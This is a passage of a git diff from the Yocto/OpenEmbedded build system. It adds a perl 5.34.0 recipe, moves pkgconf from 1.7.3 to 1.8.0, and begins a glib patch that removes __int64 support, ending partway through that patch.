- chmod 0755 ${SYSROOT_DESTDIR}${bindir}/nativeperl
- cat ${SYSROOT_DESTDIR}${bindir}/nativeperl
-}
diff --git a/meta/recipes-devtools/perl/perl_5.34.0.bb b/meta/recipes-devtools/perl/perl_5.34.0.bb
new file mode 100644
index 0000000000..a6ae80f07e
--- /dev/null
+++ b/meta/recipes-devtools/perl/perl_5.34.0.bb
@@ -0,0 +1,399 @@
+SUMMARY = "Perl scripting language"
+HOMEPAGE = "http://www.perl.org/"
+DESCRIPTION = "Perl is a highly capable, feature-rich programming language"
+SECTION = "devel"
+LICENSE = "Artistic-1.0 | GPL-1.0+"
+LIC_FILES_CHKSUM = "file://Copying;md5=5b122a36d0f6dc55279a0ebc69f3c60b \
+ file://Artistic;md5=71a4d5d9acc18c0952a6df2218bb68da \
+ "
+
+
+SRC_URI = "https://www.cpan.org/src/5.0/perl-${PV}.tar.gz;name=perl \
+ file://perl-rdepends.txt \
+ file://0001-Somehow-this-module-breaks-through-the-perl-wrapper-.patch \
+ file://errno_ver.diff \
+ file://native-perlinc.patch \
+ file://perl-dynloader.patch \
+ file://0002-Constant-Fix-up-shebang.patch \
+ file://determinism.patch \
+ file://CVE-2021-36770.patch \
+ file://aacd2398e766500cb5d83c4d76b642fcf31d997a.patch \
+ file://ea57297a58b8f10ab885c19eec48ea076116cc1f.patch \
+ file://5bc1e5fdd87aa205011512cd1e6cc655bcf677fd.patch \
+ "
+SRC_URI:append:class-native = " \
+ file://perl-configpm-switch.patch \
+"
+SRC_URI:append:class-target = " \
+ file://encodefix.patch \
+"
+
+SRC_URI[perl.sha256sum] = "551efc818b968b05216024fb0b727ef2ad4c100f8cb6b43fab615fa78ae5be9a"
+
+S = "${WORKDIR}/perl-${PV}"
+
+inherit upstream-version-is-even update-alternatives
+
+DEPENDS += "perlcross-native zlib virtual/crypt"
+
+PERL_LIB_VER = "${@'.'.join(d.getVar('PV').split('.')[0:2])}.0"
+
+PACKAGECONFIG ??= "gdbm"
+PACKAGECONFIG[bdb] = ",-Ui_db,db"
+PACKAGECONFIG[gdbm] = ",-Ui_gdbm,gdbm"
+
+# Don't generate comments in enc2xs output files. They are not reproducible
+export ENC2XS_NO_COMMENTS = "1"
+
+do_configure:prepend() {
+ cp -rfp ${STAGING_DATADIR_NATIVE}/perl-cross/* ${S}
+}
+
+do_configure:class-target() {
+ ./configure --prefix=${prefix} --libdir=${libdir} \
+ --target=${TARGET_SYS} \
+ -Duseshrplib \
+ -Dsoname=libperl.so.5 \
+ -Dvendorprefix=${prefix} \
+ -Darchlibexp=${STAGING_LIBDIR}/perl5/${PV}/${TARGET_ARCH}-linux \
+ -Dlibpth='${libdir} ${base_libdir}' \
+ -Dglibpth='${libdir} ${base_libdir}' \
+ -Alddlflags=' ${LDFLAGS}' \
+ ${PACKAGECONFIG_CONFARGS}
+
+ #perl.c uses an ARCHLIB_EXP define to generate compile-time code that
+ #adds the archlibexp path to @INC during run-time initialization of a
+ #new perl interpreter.
+
+ #Because we've changed this value in a temporary way to make it
+ #possible to use ExtUtils::Embed in the target build (the temporary
+ #value in config.sh gets re-stripped out during packaging), the
+ #ARCHLIB_EXP value that gets generated still uses the temporary version
+ #instead of the original expected version (i.e. becauses it's in the
+ #generated config.h, it doesn't get stripped out during packaging like
+ #the others in config.sh).
+
+ sed -i -e "s,${STAGING_LIBDIR},${libdir},g" config.h
+}
+
+do_configure:class-nativesdk() {
+ ./configure --prefix=${prefix} \
+ --target=${TARGET_SYS} \
+ -Duseshrplib \
+ -Dsoname=libperl.so.5 \
+ -Dvendorprefix=${prefix} \
+ -Darchlibexp=${STAGING_LIBDIR}/perl5/${PV}/${TARGET_ARCH}-linux \
+ -Alddlflags=' ${LDFLAGS}' \
+ ${PACKAGECONFIG_CONFARGS}
+
+ # See the comment above
+ sed -i -e "s,${STAGING_LIBDIR},${libdir},g" config.h
+}
+
+do_configure:class-native() {
+ ./configure --prefix=${prefix} \
+ -Dbin=${bindir}/perl-native \
+ -Duseshrplib \
+ -Dsoname=libperl.so.5 \
+ -Dvendorprefix=${prefix} \
+ -Ui_xlocale \
+ -Alddlflags=' ${LDFLAGS}' \
+ ${PACKAGECONFIG_CONFARGS}
+}
+
+do_configure:append() {
+ if [ -n "$SOURCE_DATE_EPOCH" ]; then
+ PERL_BUILD_DATE="$(${PYTHON} -c "\
+from datetime import datetime, timezone; \
+print(datetime.fromtimestamp($SOURCE_DATE_EPOCH, timezone.utc).strftime('%a %b %d %H:%M:%S %Y')) \
+ ")"
+ echo "#define PERL_BUILD_DATE \"$PERL_BUILD_DATE\"" >> config.h
+ fi
+}
+
+do_compile() {
+ oe_runmake
+ # This isn't generated reliably so delete and re-generate.
+ # https://github.com/arsv/perl-cross/issues/86
+
+ if [ -e pod/perltoc.pod ]; then
+ bbnote Rebuilding perltoc.pod
+ rm -f pod/perltoc.pod
+ oe_runmake pod/perltoc.pod
+ fi
+}
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install
+
+ install -d ${D}${libdir}/perl5
+ install -d ${D}${libdir}/perl5/${PV}/
+ install -d ${D}${libdir}/perl5/${PV}/ExtUtils/
+
+ # Save native config
+ install config.sh ${D}${libdir}/perl5
+ install lib/Config.pm ${D}${libdir}/perl5/${PV}/
+ install lib/ExtUtils/typemap ${D}${libdir}/perl5/${PV}/ExtUtils/
+
+ # Fix up shared library
+ dir=$(echo ${D}/${libdir}/perl5/${PV}/*/CORE)
+ rm $dir/libperl.so
+ ln -sf ../../../../libperl.so.${PERL_LIB_VER} $dir/libperl.so
+
+ # Try to catch Bug #13946
+ if [ -e ${D}/${libdir}/perl5/${PV}/Storable.pm ]; then
+ bbfatal 'non-arch specific Storable.pm found! See https://bugzilla.yoctoproject.org/show_bug.cgi?id=13946'
+ fi
+}
+
+do_install:append:class-target() {
+ # This is used to substitute target configuration when running native perl via perl-configpm-switch.patch
+ ln -s Config_heavy.pl ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy-target.pl
+
+ # This contains host-specific information used for building miniperl (a helper executable built with host compiler)
+ # and therefore isn't reproducible. I believe the file isn't actually needed on target.
+ rm ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/xconfig.h
+}
+
+do_install:append:class-nativesdk() {
+ # This is used to substitute target configuration when running native perl via perl-configpm-switch.patch
+ ln -s Config_heavy.pl ${D}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy-target.pl
+
+ create_wrapper ${D}${bindir}/perl \
+ PERL5LIB='$PERL5LIB:${SDKPATHNATIVE}/${libdir_nativesdk}/perl5/site_perl/${PV}:${SDKPATHNATIVE}/${libdir_nativesdk}/perl5/vendor_perl/${PV}:${SDKPATHNATIVE}/${libdir_nativesdk}/perl5/${PV}'
+}
+
+do_install:append:class-native () {
+ # Those wrappers mean that perl installed from sstate (which may change
+ # path location) works and that in the nativesdk case, the SDK can be
+ # installed to a different location from the one it was built for.
+ create_wrapper ${D}${bindir}/perl-native/perl PERL5LIB='$PERL5LIB:${STAGING_LIBDIR}/perl5/site_perl/${PV}:${STAGING_LIBDIR}/perl5/vendor_perl/${PV}:${STAGING_LIBDIR}/perl5/${PV}'
+
+ # Use /usr/bin/env nativeperl for the perl script.
+ for f in `grep -Il '#! *${bindir}/perl' ${D}/${bindir}/*`; do
+ sed -i -e 's|${bindir}/perl|/usr/bin/env nativeperl|' $f
+ done
+}
+
+PACKAGE_PREPROCESS_FUNCS += "perl_package_preprocess"
+
+perl_package_preprocess () {
+ # Fix up installed configuration
+ sed -i -e "s,${D},,g" \
+ -e "s,${DEBUG_PREFIX_MAP},,g" \
+ -e "s,--sysroot=${STAGING_DIR_HOST},,g" \
+ -e "s,-isystem${STAGING_INCDIR} ,,g" \
+ -e "s,${STAGING_LIBDIR},${libdir},g" \
+ -e "s,${STAGING_BINDIR},${bindir},g" \
+ -e "s,${STAGING_INCDIR},${includedir},g" \
+ -e "s,${STAGING_BINDIR_NATIVE}/perl-native/,${bindir}/,g" \
+ -e "s,${STAGING_BINDIR_NATIVE}/,,g" \
+ -e "s,${STAGING_BINDIR_TOOLCHAIN}/${TARGET_PREFIX},${bindir},g" \
+ -e 's:${RECIPE_SYSROOT}::g' \
+ ${PKGD}${bindir}/h2xs.perl \
+ ${PKGD}${bindir}/h2ph.perl \
+ ${PKGD}${bindir}/pod2man.perl \
+ ${PKGD}${bindir}/pod2text.perl \
+ ${PKGD}${bindir}/pod2usage.perl \
+ ${PKGD}${bindir}/podchecker.perl \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/config.h \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/perl.h \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/CORE/pp.h \
+ ${PKGD}${libdir}/perl5/${PV}/Config.pm \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config.pm \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config.pod \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_git.pl \
+ ${PKGD}${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config_heavy.pl \
+ ${PKGD}${libdir}/perl5/${PV}/ExtUtils/Liblist/Kid.pm \
+ ${PKGD}${libdir}/perl5/${PV}/FileCache.pm \
+ ${PKGD}${libdir}/perl5/${PV}/pod/*.pod \
+ ${PKGD}${libdir}/perl5/config.sh
+}
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN}-misc = "corelist cpan enc2xs encguess h2ph h2xs instmodsh json_pp libnetcfg \
+ piconv pl2pm pod2html pod2man pod2text pod2usage podchecker \
+ prove ptar ptardiff ptargrep shasum splain xsubpp zipdetails"
+ALTERNATIVE_LINK_NAME[corelist] = "${bindir}/corelist"
+ALTERNATIVE_LINK_NAME[cpan] = "${bindir}/cpan"
+ALTERNATIVE_LINK_NAME[enc2xs] = "${bindir}/enc2xs"
+ALTERNATIVE_LINK_NAME[encguess] = "${bindir}/encguess"
+ALTERNATIVE_LINK_NAME[h2ph] = "${bindir}/h2ph"
+ALTERNATIVE_LINK_NAME[h2xs] = "${bindir}/h2xs"
+ALTERNATIVE_LINK_NAME[instmodsh] = "${bindir}/instmodsh"
+ALTERNATIVE_LINK_NAME[json_pp] = "${bindir}/json_pp"
+ALTERNATIVE_LINK_NAME[libnetcfg] = "${bindir}/libnetcfg"
+ALTERNATIVE_LINK_NAME[piconv] = "${bindir}/piconv"
+ALTERNATIVE_LINK_NAME[pl2pm] = "${bindir}/pl2pm"
+ALTERNATIVE_LINK_NAME[pod2html] = "${bindir}/pod2html"
+ALTERNATIVE_LINK_NAME[pod2man] = "${bindir}/pod2man"
+ALTERNATIVE_LINK_NAME[pod2text] = "${bindir}/pod2text"
+ALTERNATIVE_LINK_NAME[pod2usage] = "${bindir}/pod2usage"
+ALTERNATIVE_LINK_NAME[podchecker] = "${bindir}/podchecker"
+ALTERNATIVE_LINK_NAME[prove] = "${bindir}/prove"
+ALTERNATIVE_LINK_NAME[ptar] = "${bindir}/ptar"
+ALTERNATIVE_LINK_NAME[ptardiff] = "${bindir}/ptardiff"
+ALTERNATIVE_LINK_NAME[ptargrep] = "${bindir}/ptargrep"
+ALTERNATIVE_LINK_NAME[shasum] = "${bindir}/shasum"
+ALTERNATIVE_LINK_NAME[splain] = "${bindir}/splain"
+ALTERNATIVE_LINK_NAME[xsubpp] = "${bindir}/xsubpp"
+ALTERNATIVE_LINK_NAME[zipdetails] = "${bindir}/zipdetails"
+
+require perl-ptest.inc
+
+FILES:${PN} = "${bindir}/perl ${bindir}/perl.real ${bindir}/perl${PV} ${libdir}/libperl.so* \
+ ${libdir}/perl5/site_perl \
+ ${libdir}/perl5/${PV}/Config.pm \
+ ${libdir}/perl5/${PV}/${TARGET_ARCH}-linux/Config.pm \
+ ${libdir}/perl5/${PV}/*/Config_git.pl \
+ ${libdir}/perl5/${PV}/*/Config_heavy-target.pl \
+ ${libdir}/perl5/config.sh \
+ ${libdir}/perl5/${PV}/strict.pm \
+ ${libdir}/perl5/${PV}/warnings.pm \
+ ${libdir}/perl5/${PV}/warnings \
+ ${libdir}/perl5/${PV}/vars.pm \
+ ${libdir}/perl5/site_perl \
+ ${libdir}/perl5/${PV}/ExtUtils/MANIFEST.SKIP \
+ ${libdir}/perl5/${PV}/ExtUtils/xsubpp \
+ ${libdir}/perl5/${PV}/ExtUtils/typemap \
+ "
+RPROVIDES:${PN} += "perl-module-strict perl-module-vars perl-module-config perl-module-warnings \
+ perl-module-warnings-register"
+
+FILES:${PN}-staticdev:append = " ${libdir}/perl5/${PV}/*/CORE/libperl.a"
+
+FILES:${PN}-dev:append = " ${libdir}/perl5/${PV}/*/CORE"
+
+FILES:${PN}-doc:append = " ${libdir}/perl5/${PV}/Unicode/Collate/*.txt \
+ ${libdir}/perl5/${PV}/*/.packlist \
+ ${libdir}/perl5/${PV}/Encode/encode.h \
+ "
+PACKAGES += "${PN}-misc"
+
+FILES:${PN}-misc = "${bindir}/*"
+
+PACKAGES += "${PN}-pod"
+
+FILES:${PN}-pod = "${libdir}/perl5/${PV}/pod \
+ ${libdir}/perl5/${PV}/*.pod \
+ ${libdir}/perl5/${PV}/*/*.pod \
+ ${libdir}/perl5/${PV}/*/*/*.pod \
+ ${libdir}/perl5/${PV}/*/*/*/*.pod \
+ "
+
+PACKAGES += "${PN}-module-cpan ${PN}-module-unicore"
+
+FILES:${PN}-module-cpan += "${libdir}/perl5/${PV}/CPAN \
+ "
+FILES:${PN}-module-unicore += "${libdir}/perl5/${PV}/unicore"
+
+ALTERNATIVE_PRIORITY = "40"
+ALTERNATIVE:${PN}-doc = "Thread.3"
+ALTERNATIVE_LINK_NAME[Thread.3] = "${mandir}/man3/Thread.3"
+
+# Create a perl-modules package recommending all the other perl
+# packages (actually the non modules packages and not created too)
+ALLOW_EMPTY:${PN}-modules = "1"
+PACKAGES += "${PN}-modules "
+
+PACKAGESPLITFUNCS:prepend = "split_perl_packages "
+
+python split_perl_packages () {
+ libdir = d.expand('${libdir}/perl5/${PV}')
+ do_split_packages(d, libdir, r'.*/auto/([^.]*)/[^/]*\.(so|ld|ix|al)', '${PN}-module-%s', 'perl module %s', recursive=True, match_path=True, prepend=False)
+ do_split_packages(d, libdir, r'.*linux/([^\/]*)\.pm', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
+ do_split_packages(d, libdir, r'Module/([^\/]*)\.pm', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
+ do_split_packages(d, libdir, r'Module/([^\/]*)/.*', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
+ do_split_packages(d, libdir, r'.*linux/([^\/].*)\.(pm|pl|e2x)', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
+ do_split_packages(d, libdir, r'(^(?!(CPAN\/|CPANPLUS\/|Module\/|unicore\/|.*linux\/)[^\/]).*)\.(pm|pl|e2x)', '${PN}-module-%s', 'perl module %s', recursive=True, allow_dirs=False, match_path=True, prepend=False)
+
+ # perl-modules should recommend every perl module, and only the
+ # modules. Don't attempt to use the result of do_split_packages() as some
+ # modules are manually split (eg. perl-module-unicore).
+ packages = filter(lambda p: 'perl-module-' in p, d.getVar('PACKAGES').split())
+ d.setVar(d.expand("RRECOMMENDS:${PN}-modules"), ' '.join(packages))
+
+ # Read the pre-generated dependency file, and use it to set module dependecies
+ for line in open(d.expand("${WORKDIR}") + '/perl-rdepends.txt').readlines():
+ splitline = line.split()
+ # Filter empty lines and comments
+ if len(splitline) == 0 or splitline[0].startswith("#"):
+ continue
+ if bb.data.inherits_class('native', d):
+ module = splitline[0] + '-native'
+ depends = "perl-native"
+ else:
+ module = splitline[0].replace("RDEPENDS:perl", "RDEPENDS:${PN}")
+ depends = splitline[2].strip('"').replace("perl-module", "${PN}-module")
+ d.appendVar(d.expand(module), " " + depends)
+}
+
+python() {
+ if d.getVar('CLASSOVERRIDE') == "class-target":
+ d.setVar("PACKAGES_DYNAMIC", "^${MLPREFIX}perl-module-.*(?<!native)$")
+ elif d.getVar('CLASSOVERRIDE') == "class-native":
+ d.setVar("PACKAGES_DYNAMIC", "^perl-module-.*-native$")
+ elif d.getVar('CLASSOVERRIDE') == "class-nativesdk":
+ d.setVar("PACKAGES_DYNAMIC", "^nativesdk-perl-module-.*")
+}
+
+RDEPENDS:${PN}-misc += "perl perl-modules"
+RDEPENDS:${PN}-pod += "perl"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SSTATE_SCAN_FILES += "*.pm *.pod *.h *.pl *.sh"
+
+do_create_rdepends_inc() {
+ cd ${WORKDIR}
+ cat <<'EOPREAMBLE' > ${WORKDIR}/perl-rdepends.inc
+
+# Some additional dependencies that the above doesn't manage to figure out
+RDEPENDS:${PN}-module-file-spec += "${PN}-module-file-spec-unix"
+RDEPENDS:${PN}-module-math-bigint += "${PN}-module-math-bigint-calc"
+RDEPENDS:${PN}-module-thread-queue += "${PN}-module-attributes"
+RDEPENDS:${PN}-module-overload += "${PN}-module-overloading"
+
+# Generated depends list beyond this line
+EOPREAMBLE
+ test -e packages-split.new && rm -rf packages-split.new
+ cp -r packages-split packages-split.new && cd packages-split.new
+ find . -name \*.pm | xargs sed -i '/^=head/,/^=cut/d'
+ egrep -r "^\s*(\<use .*|\<require .*);?" perl-module-* --include="*.pm" | \
+ sed "s/\/.*\.pm: */ += /g;s/[\"\']//g;s/;.*/\"/g;s/+= .*\(require\|use\)\> */+= \"perl-module-/g;s/CPANPLUS::.*/cpanplus/g;s/CPAN::.*/cpan/g;s/::/-/g;s/ [^+\"].*//g;s/_/-/g;s/\.pl\"$/\"/;s/\"\?\$/\"/;s/(//;" | tr [:upper:] [:lower:] | \
+ awk '{if ($3 != "\x22"$1"\x22"){ print $0}}'| \
+ grep -v -e "\-vms\-" -e module-5 -e "^$" -e "\\$" -e your -e tk -e autoperl -e html -e http -e parse-cpan -e perl-ostype -e ndbm-file -e module-mac -e fcgi -e lwp -e dbd -e dbix | \
+ sort -u | \
+ sed 's/^/RDEPENDS:/;s/perl-module-/${PN}-module-/g;s/module-\(module-\)/\1/g;s/\(module-load\)-conditional/\1/g;s/encode-configlocal/&-pm/;' | \
+ egrep -wv '=>|module-a|module-apache.?|module-apr|module-authen-sasl|module-b-asmdata|module-convert-ebcdic|module-devel-size|module-digest-perl-md5|module-dumpvalue|module-extutils-constant-aaargh56hash|module-extutils-xssymset|module-file-bsdglob|module-for|module-it|module-io-socket-inet6|module-io-socket-ssl|module-io-string|module-ipc-system-simple|module-lexical|module-local-lib|metadata|module-modperl-util|module-pluggable-object|module-test-builder-io-scalar|module-test2|module-text-unidecode|module-unicore|module-win32|objects\sload|syscall.ph|systeminfo.ph|%s' | \
+ egrep -wv '=>|module-algorithm-diff|module-carp|module-c<extutils-mm-unix>|module-l<extutils-mm-unix>|module-encode-hanextra|module-extutils-makemaker-version-regex|module-file-spec|module-io-compress-lzma|module-io-uncompress-unxz|module-locale-maketext-lexicon|module-log-agent|module-meta-notation|module-net-localcfg|module-net-ping-external|module-b-deparse|module-scalar-util|module-some-module|module-symbol|module-uri|module-win32api-file' > ${WORKDIR}/perl-rdepends.generated
+ cat ${WORKDIR}/perl-rdepends.inc ${WORKDIR}/perl-rdepends.generated > ${THISDIR}/files/perl-rdepends.txt
+}
+
+# bitbake perl -c create_rdepends_inc
+addtask do_create_rdepends_inc
+
+SYSROOT_PREPROCESS_FUNCS += "perl_sysroot_create_wrapper"
+
+perl_sysroot_create_wrapper () {
+ mkdir -p ${SYSROOT_DESTDIR}${bindir}
+ # Create a wrapper that /usr/bin/env perl will use to get perl-native.
+ # This MUST live in the normal bindir.
+ cat > ${SYSROOT_DESTDIR}${bindir}/nativeperl << EOF
+#!/bin/sh
+realpath=\`readlink -fn \$0\`
+exec \`dirname \$realpath\`/perl-native/perl "\$@"
+EOF
+ chmod 0755 ${SYSROOT_DESTDIR}${bindir}/nativeperl
+ cat ${SYSROOT_DESTDIR}${bindir}/nativeperl
+}
+
+SSTATE_HASHEQUIV_FILEMAP = " \
+ populate_sysroot:*/lib*/perl5/*/*/Config_heavy.pl:${TMPDIR} \
+ populate_sysroot:*/lib*/perl5/*/*/Config_heavy.pl:${COREBASE} \
+ populate_sysroot:*/lib*/perl5/config.sh:${TMPDIR} \
+ populate_sysroot:*/lib*/perl5/config.sh:${COREBASE} \
+ "
diff --git a/meta/recipes-devtools/pkgconf/pkgconf_1.7.3.bb b/meta/recipes-devtools/pkgconf/pkgconf_1.7.3.bb
deleted file mode 100644
index 12496c3849..0000000000
--- a/meta/recipes-devtools/pkgconf/pkgconf_1.7.3.bb
+++ /dev/null
@@ -1,67 +0,0 @@
-SUMMARY = "pkgconf provides compiler and linker configuration for development frameworks."
-DESCRIPTION = "pkgconf is a program which helps to configure compiler and linker \
-flags for development frameworks. It is similar to pkg-config from \
-freedesktop.org, providing additional functionality while also maintaining \
-compatibility."
-HOMEPAGE = "http://pkgconf.org"
-BUGTRACKER = "https://github.com/pkgconf/pkgconf/issues"
-SECTION = "devel"
-PROVIDES += "pkgconfig"
-RPROVIDES_${PN} += "pkgconfig"
-
-# The pkgconf license seems to be functionally equivalent to BSD-2-Clause or
-# ISC, but has different wording, so needs its own name.
-LICENSE = "pkgconf"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2214222ec1a820bd6cc75167a56925e0"
-
-SRC_URI = "\
- https://distfiles.dereferenced.org/pkgconf/pkgconf-${PV}.tar.xz \
- file://pkg-config-wrapper \
- file://pkg-config-native.in \
- file://pkg-config-esdk.in \
-"
-SRC_URI[sha256sum] = "b846aea51cf696c3392a0ae58bef93e2e72f8e7073ca6ad1ed8b01c85871f9c0"
-
-inherit autotools
-
-EXTRA_OECONF += "--with-pkg-config-dir='${libdir}/pkgconfig:${datadir}/pkgconfig'"
-
-do_install_append () {
- # Install a wrapper which deals, as much as possible with pkgconf vs
- # pkg-config compatibility issues.
- install -m 0755 "${WORKDIR}/pkg-config-wrapper" "${D}${bindir}/pkg-config"
-}
-
-do_install_append_class-native () {
- # Install a pkg-config-native wrapper that will use the native sysroot instead
- # of the MACHINE sysroot, for using pkg-config when building native tools.
- sed -e "s|@PATH_NATIVE@|${PKG_CONFIG_PATH}|" \
- < ${WORKDIR}/pkg-config-native.in > ${B}/pkg-config-native
- install -m755 ${B}/pkg-config-native ${D}${bindir}/pkg-config-native
- sed -e "s|@PATH_NATIVE@|${PKG_CONFIG_PATH}|" \
- -e "s|@LIBDIR_NATIVE@|${PKG_CONFIG_LIBDIR}|" \
- < ${WORKDIR}/pkg-config-esdk.in > ${B}/pkg-config-esdk
- install -m755 ${B}/pkg-config-esdk ${D}${bindir}/pkg-config-esdk
-}
-
-# When using the RPM generated automatic package dependencies, some packages
-# will end up requiring 'pkgconfig(pkg-config)'. Allow this behavior by
-# specifying an appropriate provide.
-RPROVIDES_${PN} += "pkgconfig(pkg-config)"
-
-# Include pkg.m4 in the main package, leaving libpkgconf dev files in -dev
-FILES_${PN}-dev_remove = "${datadir}/aclocal"
-FILES_${PN} += "${datadir}/aclocal"
-
-BBCLASSEXTEND += "native nativesdk"
-
-pkgconf_sstate_fixup_esdk () {
- if [ "${BB_CURRENTTASK}" = "populate_sysroot_setscene" -a "${WITHIN_EXT_SDK}" = "1" ] ; then
- pkgconfdir="${SSTATE_INSTDIR}/recipe-sysroot-native/${bindir_native}"
- mv $pkgconfdir/pkg-config $pkgconfdir/pkg-config.real
- lnr $pkgconfdir/pkg-config-esdk $pkgconfdir/pkg-config
- sed -i -e "s|^pkg-config|pkg-config.real|" $pkgconfdir/pkg-config-native
- fi
-}
-
-SSTATEPOSTUNPACKFUNCS_append_class-native = " pkgconf_sstate_fixup_esdk"
diff --git a/meta/recipes-devtools/pkgconf/pkgconf_1.8.0.bb b/meta/recipes-devtools/pkgconf/pkgconf_1.8.0.bb
new file mode 100644
index 0000000000..887e15e28c
--- /dev/null
+++ b/meta/recipes-devtools/pkgconf/pkgconf_1.8.0.bb
@@ -0,0 +1,67 @@
+SUMMARY = "pkgconf provides compiler and linker configuration for development frameworks."
+DESCRIPTION = "pkgconf is a program which helps to configure compiler and linker \
+flags for development frameworks. It is similar to pkg-config from \
+freedesktop.org, providing additional functionality while also maintaining \
+compatibility."
+HOMEPAGE = "http://pkgconf.org"
+BUGTRACKER = "https://github.com/pkgconf/pkgconf/issues"
+SECTION = "devel"
+PROVIDES += "pkgconfig"
+RPROVIDES:${PN} += "pkgconfig"
+
+# The pkgconf license seems to be functionally equivalent to BSD-2-Clause or
+# ISC, but has different wording, so needs its own name.
+LICENSE = "pkgconf"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2214222ec1a820bd6cc75167a56925e0"
+
+SRC_URI = "\
+ https://distfiles.dereferenced.org/pkgconf/pkgconf-${PV}.tar.xz \
+ file://pkg-config-wrapper \
+ file://pkg-config-native.in \
+ file://pkg-config-esdk.in \
+"
+SRC_URI[sha256sum] = "ef9c7e61822b7cb8356e6e9e1dca58d9556f3200d78acab35e4347e9d4c2bbaf"
+
+inherit autotools
+
+EXTRA_OECONF += "--with-pkg-config-dir='${libdir}/pkgconfig:${datadir}/pkgconfig'"
+
+do_install:append () {
+ # Install a wrapper which deals, as much as possible with pkgconf vs
+ # pkg-config compatibility issues.
+ install -m 0755 "${WORKDIR}/pkg-config-wrapper" "${D}${bindir}/pkg-config"
+}
+
+do_install:append:class-native () {
+ # Install a pkg-config-native wrapper that will use the native sysroot instead
+ # of the MACHINE sysroot, for using pkg-config when building native tools.
+ sed -e "s|@PATH_NATIVE@|${PKG_CONFIG_PATH}|" \
+ < ${WORKDIR}/pkg-config-native.in > ${B}/pkg-config-native
+ install -m755 ${B}/pkg-config-native ${D}${bindir}/pkg-config-native
+ sed -e "s|@PATH_NATIVE@|${PKG_CONFIG_PATH}|" \
+ -e "s|@LIBDIR_NATIVE@|${PKG_CONFIG_LIBDIR}|" \
+ < ${WORKDIR}/pkg-config-esdk.in > ${B}/pkg-config-esdk
+ install -m755 ${B}/pkg-config-esdk ${D}${bindir}/pkg-config-esdk
+}
+
+# When using the RPM generated automatic package dependencies, some packages
+# will end up requiring 'pkgconfig(pkg-config)'. Allow this behavior by
+# specifying an appropriate provide.
+RPROVIDES:${PN} += "pkgconfig(pkg-config)"
+
+# Include pkg.m4 in the main package, leaving libpkgconf dev files in -dev
+FILES:${PN}-dev:remove = "${datadir}/aclocal"
+FILES:${PN} += "${datadir}/aclocal"
+
+BBCLASSEXTEND += "native nativesdk"
+
+pkgconf_sstate_fixup_esdk () {
+ if [ "${BB_CURRENTTASK}" = "populate_sysroot_setscene" -a "${WITHIN_EXT_SDK}" = "1" ] ; then
+ pkgconfdir="${SSTATE_INSTDIR}/recipe-sysroot-native/${bindir_native}"
+ mv $pkgconfdir/pkg-config $pkgconfdir/pkg-config.real
+ ln -rs $pkgconfdir/pkg-config-esdk $pkgconfdir/pkg-config
+ sed -i -e "s|^pkg-config|pkg-config.real|" $pkgconfdir/pkg-config-native
+ fi
+}
+
+SSTATEPOSTUNPACKFUNCS:append:class-native = " pkgconf_sstate_fixup_esdk"
diff --git a/meta/recipes-devtools/pkgconfig/pkgconfig/0001-autotools-remove-support-for-the-__int64-type.-See-1.patch b/meta/recipes-devtools/pkgconfig/pkgconfig/0001-autotools-remove-support-for-the-__int64-type.-See-1.patch
new file mode 100644
index 0000000000..bee4585724
--- /dev/null
+++ b/meta/recipes-devtools/pkgconfig/pkgconfig/0001-autotools-remove-support-for-the-__int64-type.-See-1.patch
@@ -0,0 +1,144 @@
+From 7e821441c482917e54435a07893272d87d3ad9e5 Mon Sep 17 00:00:00 2001
+From: Christoph Reiter <reiter.christoph@gmail.com>
+Date: Fri, 24 Aug 2018 19:43:04 +0200
+Subject: [PATCH] autotools: remove support for the __int64 type. See #1313
+
+__int64 was the 64bit type for Visual Studio before it added support for
+"long long" with VS2013. I think this was used to build glib with mingw and
+make the result usable for VS 6.0 which didn't support "long long" (??)
+
+Given that newer MSVC links against a different crt and mixing is not supported
+and everything supports "long long" nowadays just remove it.
+
+This is also a cleanup for printf format changes needed for #1497
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Upstream-Status: Backport [https://github.com/GNOME/glib/commit/7e821441c4]
+---
+ configure.ac | 43 ++++---------------------------------------
+ 1 file changed, 4 insertions(+), 39 deletions(-)
+
+--- a/glib/configure.ac
++++ b/glib/configure.ac
+@@ -550,7 +550,6 @@ AC_CHECK_SIZEOF(long)
+ AC_CHECK_SIZEOF(int)
+ AC_CHECK_SIZEOF(void *)
+ AC_CHECK_SIZEOF(long long)
+-AC_CHECK_SIZEOF(__int64)
+
+ AC_CACHE_CHECK([for sig_atomic_t], ac_cv_type_sig_atomic_t,
+ [AC_TRY_LINK([#include <signal.h>
+@@ -564,7 +563,7 @@ if test x$ac_cv_type_sig_atomic_t = xyes
+ [Define if you have the 'sig_atomic_t' type.])
+ fi
+
+-if test x$ac_cv_sizeof_long = x8 || test x$ac_cv_sizeof_long_long = x8 || test x$ac_cv_sizeof___int64 = x8 ; then
++if test x$ac_cv_sizeof_long = x8 || test x$ac_cv_sizeof_long_long = x8 ; then
+ :
+ else
+ AC_MSG_ERROR([
+@@ -573,7 +572,7 @@ else
+ ])
+ fi
+
+-AS_IF([test x$glib_native_win32 != xyes && test x$ac_cv_sizeof_long_long = x8], [
++AS_IF([test x$ac_cv_sizeof_long_long = x8], [
